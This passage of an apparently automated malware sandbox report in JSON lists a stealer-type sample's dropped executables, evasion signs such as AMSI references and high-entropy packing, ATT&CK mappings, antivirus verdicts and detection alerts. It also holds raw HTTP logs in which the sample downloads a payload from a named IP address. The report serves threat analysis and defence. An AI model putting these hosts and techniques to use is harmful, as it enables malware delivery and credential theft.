artifact","description":"\"www.credit-agricole.fr\" (Source: 00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp, Indicator: \"credit-agricole.fr\")\n \"capitalone.com\" (Source: 00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp, Indicator: \"capitalone.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"BroomSetup.exe\" has type \"PE32 executable for MS Windows 5.00 (GUI) Intel i386 11 sections\"- Location: [%TEMP%\\BroomSetup.exe]- [targetUID: 00000000-00004256]\n \"288c47bbc1871b439df19ff4df68f076.exe\" has type \"PE32 executable for MS Windows 5.00 (GUI) Intel i386 7 sections\"- Location: [%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe]- [targetUID: 00000000-00002516]\n \"InstallSetup9.exe\" has type \"PE32 executable for MS Windows 4.00 (GUI) Intel i386 Nullsoft Installer self-extracting archive 5 sections\"- Location: [%TEMP%\\InstallSetup9.exe]- [targetUID: 00000000-00003572]\n \"Math.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nss9B66.tmp\\Math.dll]- [targetUID: 00000000-00003572]\n \"INetC.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nss9B66.tmp\\INetC.dll]- [targetUID: 00000000-00003572]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"B46811C17859FFB409CF0E904A4AA8F8\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\B46811C17859FFB409CF0E904A4AA8F8]- [targetUID: 00000000-00003572]\n Dropped file: \"1ED93C2F030B8091083F906156A321E7\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\1ED93C2F030B8091083F906156A321E7]- [targetUID: 00000000-00003572]\n Dropped file: \"1ED93C2F030B8091083F906156A321E7\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\1ED93C2F030B8091083F906156A321E7]- [targetUID: 00000000-00003572]\n Dropped file: \"B46811C17859FFB409CF0E904A4AA8F8\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\B46811C17859FFB409CF0E904A4AA8F8]- [targetUID: 00000000-00003572]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\" was detected as \"Microsoft Visual C# v7.0 / Basic .NET\"\n \"BroomSetup.exe\" was detected as \"Borland Delphi 4.0\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"Math.dll\" was detected as \"Armadillo v1.xx - v2.xx\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"InstallSetup9.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"BroomSetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\" has section name .text with entropy \"7.976002646896122\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" has section name .text with entropy \"7.992850864401301\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Calls an API typically used to import asymmetric cryptographic keys into a CSP","description":"$65","origin":"API Call","mitre_attack_id":"T1573.002","relevance":1,"id":"api-234","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe\" has high entropy 7.95699\n Dropped file \"%TEMP%\\InstallSetup9.exe\" has high entropy 7.9238","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO External IP Lookup Domain (iplogger .com in TLS SNI)\" (SID: 2047718, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"\n Detected alert \"ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla))\" (SID: 2011227, Rev: 7, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"16/24 Antivirus vendors marked sample as malicious (66% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"General","name":"PE file has unusual entropy resources","description":"\"BroomSetup.exe\" has resource with unusual entropy \"VCLSTYLE:7.955538924242702\"\n \"BroomSetup.exe\" has resource with unusual entropy \"RT_BITMAP:7.204507547582926\"\n \"BroomSetup.exe\" has resource with unusual entropy \"RT_RCDATA:7.886367032655639\"\n \"BroomSetup.exe\" has resource with unusual entropy \"RT_RCDATA:7.58418098582544\"\n \"BroomSetup.exe\" has resource with unusual entropy \"RT_RCDATA:7.808588808062177\"\n \"BroomSetup.exe\" has resource with unusual entropy \"RT_RCDATA:7.758325192927498\"\n \"BroomSetup.exe\" has resource with unusual entropy \"RT_RCDATA:7.5191733345079514\"\n \"BroomSetup.exe\" has resource with unusual entropy \"RT_RCDATA:7.665567395404698\"\n \"BroomSetup.exe\" has resource with unusual entropy \"RT_RCDATA:7.631838602120624\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":5,"id":"static-92","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$66","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"BroomSetup.exe\" has type \"PE32 executable for MS Windows 5.00 (GUI) Intel i386 11 sections\"- Location: [%TEMP%\\BroomSetup.exe]- [targetUID: 00000000-00004256]\n \"288c47bbc1871b439df19ff4df68f076.exe\" has type \"PE32 executable for MS Windows 5.00 (GUI) Intel i386 7 sections\"- Location: [%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe]- [targetUID: 00000000-00002516]\n \"InstallSetup9.exe\" has type \"PE32 executable for MS Windows 4.00 (GUI) Intel i386 Nullsoft Installer self-extracting archive 5 sections\"- Location: [%TEMP%\\InstallSetup9.exe]- [targetUID: 00000000-00003572]\n \"Math.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nss9B66.tmp\\Math.dll]- [targetUID: 00000000-00003572]\n \"INetC.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nss9B66.tmp\\INetC.dll]- [targetUID: 00000000-00003572]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$67","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): NSIS_Inetc (Mozilla)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.26.13.205 on port 80 is sent without HTTP header\n TCP traffic to 91.92.255.226 on port 80 is sent without HTTP header\n TCP traffic to 185.172.128.53 on port 80 is sent without HTTP header\n TCP traffic to 5.42.64.35 on port 80 is sent without HTTP header\n TCP traffic to 172.67.188.178 on port 443 is sent without HTTP header\n TCP traffic to 142.250.217.227 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"InstallSetup9.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$68","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nss94B0.tmp\" for deletion\n \"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nss9B66.tmp\" for deletion\n \"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nss9B65.tmp\" for deletion\n \"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsdD00E.tmp\" for deletion\n \"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nss9B66.tmp\\INetC.dll\" for deletion\n \"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nss9B66.tmp\\Math.dll\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"InstallSetup9.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nss94B0.tmp\" with delete access\n \"InstallSetup9.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nss9B66.tmp\" with delete access\n \"InstallSetup9.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nss9B65.tmp\" with delete access\n \"InstallSetup9.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsdD00E.tmp\" with delete access\n \"InstallSetup9.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nss9B66.tmp\\INetC.dll\" with delete access\n \"InstallSetup9.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nss9B66.tmp\\Math.dll\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$69","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" claimed CRC 4483804 while the actual is CRC 4452895","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$6a","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"16/24 Antivirus vendors marked sample as malicious (66% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"11/24 Antivirus vendors marked dropped file \"288c47bbc1871b439df19ff4df68f076.exe\" as malicious (classified as \"Malware\" with 45% detection rate)\n 14/25 Antivirus vendors marked dropped file \"InstallSetup9.exe\" as malicious (classified as \"Trojan.Stealerc\" with 56% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"14/25 Antivirus vendors marked spawned process \"InstallSetup9.exe\" (PID: 3572) as malicious (classified as \"Trojan.Stealerc\" with 56% detection rate)\n 11/24 Antivirus vendors marked spawned process \"288c47bbc1871b439df19ff4df68f076.exe\" (PID: 2516) as malicious (classified as \"Malware\" with 45% detection rate)\n 11/24 Antivirus vendors marked spawned process \"288c47bbc1871b439df19ff4df68f076.exe\" (PID: 2180) as malicious (classified as \"Malware\" with 45% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"api.ipify.org\"\n \"iplogger.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_DLInjector04\" matched file \"sample.bin\" as \"Detects downloader / injector\"","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"Spawned process \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" (UID: 00000000-00001156)\n Spawned process \"InstallSetup9.exe\" (UID: 00000000-00003572)\n Spawned process \"288c47bbc1871b439df19ff4df68f076.exe\" (UID: 00000000-00002516)\n Spawned process \"BroomSetup.exe\" (UID: 00000000-00004256)\n Spawned process \"288c47bbc1871b439df19ff4df68f076.exe\" (UID: 00000000-00002180)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"syncUpd_1_.exe.1537521071\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"syncUpd_1_.exe.1537521071\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001504.00000000.67965.00408000.00000002.mdmp, 00000000-00001504.00000000.67965.0040A000.00000004.mdmp, 00000000-00001504.00000000.67965.10001000.00000020.mdmp, 00000000-00001504.00000001.69886.0040A000.00000004.mdmp\")\n Found reference to API \"CreateThread Error\" (Indicator: \"CreateThread\"; Source: \"00000000-00001504.00000000.67965.0040A000.00000004.mdmp, 00000000-00001504.00000001.69886.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \"ToArray\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \"AmsiScanBuffer\" (Indicator: \"amsiscanbuffer\") in Source: 00000000-00001504.00000001.69886.02F80000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".ndata\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$6b","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime (Dotnet)","description":"Observed function \"FromBase64String\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004656.00000000.68030.032D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"syncUpd_1_.exe.1537521071\")\n Found reference to API \"GetSystemTimes\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001744.00000000.68130.00822000.00000004.mdmp, 00000000-00001744.00000002.71969.00822000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"syncUpd_1_.exe.1537521071\")\n Found reference to API \"GetSystemDefaultLCID\" (Indicator: \"GetSystemDefaultLCID\"; File: \"288c47bbc1871b439df19ff4df68f076.exe.557777685\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"288c47bbc1871b439df19ff4df68f076.exe.557777685\")\n Found reference to API \"EnumSystemLocalesA\" (Indicator: \"EnumSystemLocales\"; File: \"288c47bbc1871b439df19ff4df68f076.exe.557777685\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"288c47bbc1871b439df19ff4df68f076.exe.557777685\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"288c47bbc1871b439df19ff4df68f076.exe.557777685\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00001504.00000000.67965.00408000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00001504.00000000.67965.0040A000.00000004.mdmp, 00000000-00001504.00000001.69886.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"syncUpd_1_.exe.1537521071\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00001504.00000000.67965.00408000.00000002.mdmp\")\n Found reference to API \"WTSRegisterSessionNotification\" (Indicator: \"WTSRegisterSessionNotification\"; Source: \"00000000-00001744.00000000.68130.00822000.00000004.mdmp, 00000000-00001744.00000002.71969.00822000.00000004.mdmp\")\n Found reference to API \"GetNativeSystemInfo\" (Indicator: \"GetNativeSystemInfo\"; Source: \"00000000-00001744.00000000.68130.00822000.00000004.mdmp, 00000000-00001744.00000002.71969.00822000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"syncUpd_1_.exe.1537521071\")\n Found reference to API \"GetSystemTimes\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001744.00000000.68130.00822000.00000004.mdmp, 00000000-00001744.00000002.71969.00822000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00001504.00000000.67965.0040A000.00000004.mdmp, 00000000-00001504.00000001.69886.0040A000.00000004.mdmp\")\n Found reference to API \"GetKeyboardLayoutList\" (Indicator: \"GetKeyboardLayoutList\"; Source: \"00000000-00001744.00000000.68130.0081E000.00000004.mdmp, 00000000-00001744.00000001.70052.0081D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00007052-00000C15-19968035\n \"nsu8C47.tmp\" queries volume information of \"C:\\\" at 00000000-00005288-00000C15-26360261","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$6c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"288c47bbc1871b439df19ff4df68f076.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007052)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00004656)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133493345766163368.7052.DefaultAppDomain.powershell\" - (UID: 00000000-00007052)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00004204)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00001504.00000000.67965.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001504.00000000.67965.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":1,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /?format=dfg HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: api.ipify.org\nConnection: Keep-Alive\nCache-Control: no-cache\" Response ==> HTTP/1.1 200 OK\nServer: nginx/1.25.2\nDate: Wed\n 10 Jan 2024 04:29:24 GMT\nContent-Type: text/plain\nContent-Length: 14\nConnection: keep-alive\nVary: Origin with response body ==>36372E3231382E3131312E323032.......\n \"GET /syncUpd.exe HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: 185.172.128.53\nConnection: Keep-Alive\nCache-Control: no-cache\" Response ==> HTTP/1.1 200 OK\nDate: Wed\n 10 Jan 2024 04:29:47 GMT\nServer: Apache/2.4.52 (Ubuntu)\nLast-Modified: Wed\n 10 Jan 2024 04:15:01 GMT\nETag: \"50000-60e8facbd61b5\"\nAccept-Ranges: bytes\nContent-Length: 327680\nKeep-Alive: timeout=5\n 